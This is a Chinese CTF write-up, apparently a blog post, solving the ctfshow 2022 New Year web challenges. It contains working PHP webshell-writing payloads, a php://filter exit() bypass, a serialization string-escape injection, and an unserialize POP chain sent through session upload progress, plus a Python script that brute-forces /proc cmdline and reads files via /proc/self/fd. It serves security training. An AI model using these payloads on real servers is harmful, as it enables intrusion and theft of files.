ctfshow 2022新春迎新赛(详细解说)

ctfshow 新春迎新赛

热身

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


eval($_GET['f']);

直接写一句话:?f=file_put_contents('2.php','<?php eval($_REQUEST[1]);highlight_file(__FILE__);?>');

phpinfo():[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1kJ5vCl2-1644563627932)(http://images2.5666888.xyz//image-20220208175645977.png)]

有一个包含,这个文件下面就是flag

可以直接cat tac

思路二:

查看当前页面的变量,直接出flag

?f=print_r(get_defined_vars());

web1

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
error_reporting(0);

$content = $_GET[content];
file_put_contents($content,'<?php exit();'.$content);

这不就是绕过死亡exit()嘛

2016年的时候p神就对这个问题提出了解决办法:https://www.leavesongs.com/PENETRATION/php-filter-magic.html
时代在进步:php://filter 绕过死亡file_put_content() base64 的编码小trick

有在线的rot13编码方便直接使用

网上通用payload:?content=php://filter/write=string.rot13|<?cuc @riny($_CBFG[pzq]);?>|/resource=shell.php========><?php @eval($_POST[cmd]);?>

web2

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
session_start();
error_reporting(0);

include "flag.php";

if(count($_POST)===1){ //post传入的参数量必须只有一个
        extract($_POST);
        if (call_user_func($$$$$${key($_POST)})==="HappyNewYear"){ //invoke
                echo $flag;
        }
}
?>

session_id() 返回当前会话ID。 如果当前没有会话,则返回空字符串("")。

<?php
highlight_file(__FILE__);
session_start();
echo session_id();

返回值为PHPSESSID中的内容

payload:

POST http://89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show/ HTTP/1.1
Host: 89a75279-b83f-4cc3-9cca-cb60e2ab6716.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: log_Id_pv=5; PHPSESSID=HappyNewYear
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 21

session_id=session_id

web3

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
error_reporting(0);

include "flag.php";
$key=  call_user_func(($_GET[1]));

if($key=="HappyNewYear"){
  echo $flag;
}

die("虎年大吉,新春快乐!");

payload:

?1=session_start
?1=error_reporting
?1=json_last_error

json_last_error:如果有,返回 JSON 编码解码时最后发生的错误。

error_reporting:如果没有设置可选参数 levelerror_reporting() 仅会返回当前的错误报告级别。

session_start:开启会话

这里有一个弱比较,我们来做一个试验:

<?php
$key = call_user_func('session_start');
var_dump($key);
// $val = "happy";
if($key=='happy'){
    var_dump($key);
    // var_dump($val);
    echo "happy";
}else{
    var_dump($val);
    echo 'failed';
}

E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:5:boolean true
E:\phpstudy\PHPTutorial\WWW\testphp\sessionid.php:8:boolean true
happy

这里有一个对key进行的转换,这里说白了就是需要 传入一个 函数 能返回1这种,类似 session_start ob_start

web4(回调函数处理后写🐎)

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

highlight_file(__FILE__);
error_reporting(0);

$key=  call_user_func(($_GET[1]));
file_put_contents($key, "<?php eval(\$_POST[1]);?>");

die("虎年大吉,新春快乐!");

spl_autoload_extensions — 注册并返回spl_autoload函数使用的默认文件扩展名。

当不使用任何参数调用此函数时,它返回当前的文件扩展名的列表,不同的扩展名用逗号分隔。要修改文件扩展名列表,用一个逗号分隔的新的扩展名列表字符串来调用本函数即可。中文注:默认的spl_autoload函数使用的扩展名是".inc,.php"。

?1=spl_autoload_extensions生成 .inc,.php 文件(shell文件)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nJ8LKoT1-1644563627933)(http://images2.5666888.xyz//image-20220210153925921.png)]

web5

官方wp:发送大量的hu即可通过替换实现内存占用放大,超过php最大默认内存256M即可造成变量定义失败,出现致命错误从而跳过后面的覆盖写入

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2022-01-16 15:42:02
# @Last Modified by:   h1xa
# @Last Modified time: 2022-01-24 22:14:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
highlight_file(__FILE__);


include "🐯🐯.php";
file_put_contents("🐯", $flag);
$🐯 = str_replace("hu", "🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯🐯", $_POST['🐯']);
file_put_contents("🐯", $🐯);

$a = str_repeat('hu',524280);

web6

<?php

error_reporting(0);
highlight_file(__FILE__);
$function = $_GET['POST'];

function filter($img){
    $filter_arr = array('ctfshow','daniu','happyhuyear');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}

if($_SESSION){
    unset($_SESSION);
}

$_SESSION['function'] = $function;

extract($_POST['GET']);

$_SESSION['file'] = base64_encode("/root/flag");

$serialize_info = filter(serialize($_SESSION));

if($function == 'GET'){
    $userinfo = unserialize($serialize_info);
    //出题人已经拿过flag,题目正常,也就是说...
    echo file_get_contents(base64_decode($userinfo['file']));
}

提示就是读日志了

配置文件  /etc/nginx/nginx.conf    L2V0Yy9uZ2lueC9uZ2lueC5jb25m
访问日志  /var/log/nginx/access.log

他本来的样子:

<?php
$_SESSION['function'] = 'GET';
$_SESSION['file'] = base64_encode("/root/flag");
echo serialize($_SESSION);

//a:2:{s:8:"function";s:3:"GET";s:4:"file";s:16:"L3Jvb3QvZmxhZw==";}

我们需要拼接的:

<?php
$_SESSION['file'] = base64_encode("/etc/nginx/nginx.conf");
echo serialize($_SESSION);

//a:1:{s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

由于$_SESSION['file']位于变量覆盖之后,所以我们需要把他挤掉

<?php
$_SESSION['function'] = 'GET';
$_SESSION['ctfshow'] = 's:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}';
$_SESSION['filx'] = base64_encode("/root/flag");
echo serialize($_SESSION);

//a:3:{s:8:"function";s:3:"GET";s:7:"ctfshow";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
经过过滤处理:
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:"s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
缺少了7个字符会报错,需要我们伪造一下:
//a:3:{s:8:"function";s:3:"GET";s:7:"";s:48:";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}";s:4:"filx";s:16:"L3Jvb3QvZmxhZw==";}
截取伪造序列:
;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

进行变量覆盖:

GET[_SESSION][ctfshow]=;s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

同理:

GET[_SESSION][ctfshowdaniu]=0000";s:5:"yn8rt";s:4:"file";s:28:"L2V0Yy9uZ2lueC9uZ2lueC5jb25m";}

我需要做的是为过滤的字符串补充空位并合并

web7

index.php

<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
    phpinfo();
}
if (isset($_GET['source']))
{
    highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>

class.php

<?php
    class Happy {
        public $happy;
        function __construct(){
                $this->happy="Happy_New_Year!!!";

        }
        function __destruct(){
                $this->happy->happy;

        }
        public function __call($funName, $arguments){
                die($this->happy->$funName);
        }

        public function __set($key,$value)
        {
            $this->happy->$key = $value;
        }
        public function __invoke()
        {
            echo $this->happy;
        }
    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;
        private $_New_;
        function __construct(){
                $this->daniu="I'm daniu.";
                $this->robot="I'm robot.";
                $this->notrobot="I'm not a robot.";

        }
        public function __call($funName, $arguments){
                echo $this->daniu.$funName."not exists!!!";
        }

        public function __invoke()
        {
            echo $this->daniu;
            $this->daniu=$this->robot;
            echo $this->daniu;
        }
        public function __toString()
        {
            $robot=$this->robot;
            $this->daniu->$robot=$this->notrobot;
            return (string)$this->daniu;

        }
        public function __get($key){
               echo $this->daniu.$key."not exists!!!";
        }

 }
    class Year{
        public $zodiac;
         public function __invoke()
        {
            echo "happy ".$this->zodiac." year!";

        }
         function __construct(){
                $this->zodiac="Hu";
        }
        public function __toString()
        {
                $this->show();

        }
        public function __set($key,$value)#3
        {
            $this->$key = $value;
        }

        public function show(){
            die(file_get_contents($this->zodiac));
        }
        public function __wakeup()
        {
            $this->zodiac = 'hu';
        }

    }
?>

链子比较常规:

Happy:__destruct()=>_New_:__get()=>_New_:__toString()=>Year:__toString()=>Year:Show()

poc:

<?php
    class Happy {
        public $happy;
    }

    class _New_{
        public $daniu;
        public $robot;
        public $notrobot;

 }
    class Year{
        public $zodiac;

    }

$a=new Happy();
$a->happy=new _New_();
$a->happy->daniu=new _New_();
$a->happy->daniu->daniu=new Year();
$a->happy->daniu->robot="zodiac";
$a->happy->daniu->notrobot="/etc/passwd";
var_dump(serialize($a));

?>

//'O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}'

处理脚本:(建议直接加在poc的下面)

<?php
$b = '|O:5:"Happy":1:{s:5:"happy";O:5:"_New_":3:{s:5:"daniu";O:5:"_New_":3:{s:5:"daniu";O:4:"Year":1:{s:6:"zodiac";N;}s:5:"robot";s:6:"zodiac";s:8:"notrobot";s:11:"/etc/passwd";}s:5:"robot";N;s:8:"notrobot";N;}}';
echo addslashes($b);

//|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:11:\"/etc/passwd\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}

提交用的表单:

<!DOCTYPE html>
<html>
<body>
<form action="http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
    <input type="file" name="file" />
    <input type="submit" value="submit" />
</form>
</body>
</html>

用上述序列化字符串替换filename的内容,即可验证

/proc/{pid}/cmdline 是所有用户均可读的,可以编写脚本爆一下进程id的cmdline

import requests
import time


def get_file(filename):
	data="""-----------------------------17234128115294
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

123
-----------------------------17234128115294
Content-Disposition: form-data; name="file"; filename="|O:5:\\"Happy\\":1:{s:5:\\"happy\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:5:\\"_New_\\":3:{s:5:\\"daniu\\";O:4:\\"Year\\":1:{s:6:\\"zodiac\\";N;}s:5:\\"robot\\";s:6:\\"zodiac\\";s:8:\\"notrobot\\";s:"""+str(len(filename))+""":\\\""""+filename+"""\\";}s:5:\\"robot\\";N;s:8:\\"notrobot\\";N;}}"
Content-Type: text/plain


-----------------------------17234128115294--"""
	r=requests.post(url='http://d8868a5c-3faf-47eb-9651-87bab1a860ca.challenge.ctf.show/',data=data,headers={'Content-Type':'multipart/form-data; boundary=---------------------------17234128115294','Cookie': 'PHPSESSID=73de676b0bc50d3d9a2de4c89cc5c1cf'})
	return(r.text.encode()[1990:])#去掉源码信息,encode是为了能显示\00

for i in range(999):
	print(i)
	print(get_file('/proc/'+str(i)+'/cmdline'))
	time.sleep(0.2)

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Vi7EUTMA-1644563627933)(http://images2.5666888.xyz//image-20220211150208933.png)]

这里是在/proc/114/cmdline中:python3/app/server.py

//filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:14:\"/app/server.py\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"

import os

app = Flask(__name__)
flag=open('/flag','r')
#flag我删了
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
	return "flag我删了,你们别找了"

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
    return send_file(request.args['filename'])


if __name__ == '__main__':
    app.run(host='127.0.0.1', port=5000, debug=False)

flag是在open之后被删的,而且还没有释放,所以可以在/proc/self/fd/下面找到,但是要有个能读文件的地方,/download/路由下面可以读文件,于是读取flag

filename="|O:5:\"Happy\":1:{s:5:\"happy\";O:5:\"_New_\":3:{s:5:\"daniu\";O:5:\"_New_\":3:{s:5:\"daniu\";O:4:\"Year\":1:{s:6:\"zodiac\";N;}s:5:\"robot\";s:6:\"zodiac\";s:8:\"notrobot\";s:56:\"http://127.0.0.1:5000/download/?filename=/proc/self/fd/3\";}s:5:\"robot\";N;s:8:\"notrobot\";N;}}"

0是stdin 1是stdout 2是stderr,fd号可以从3开始尝试。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值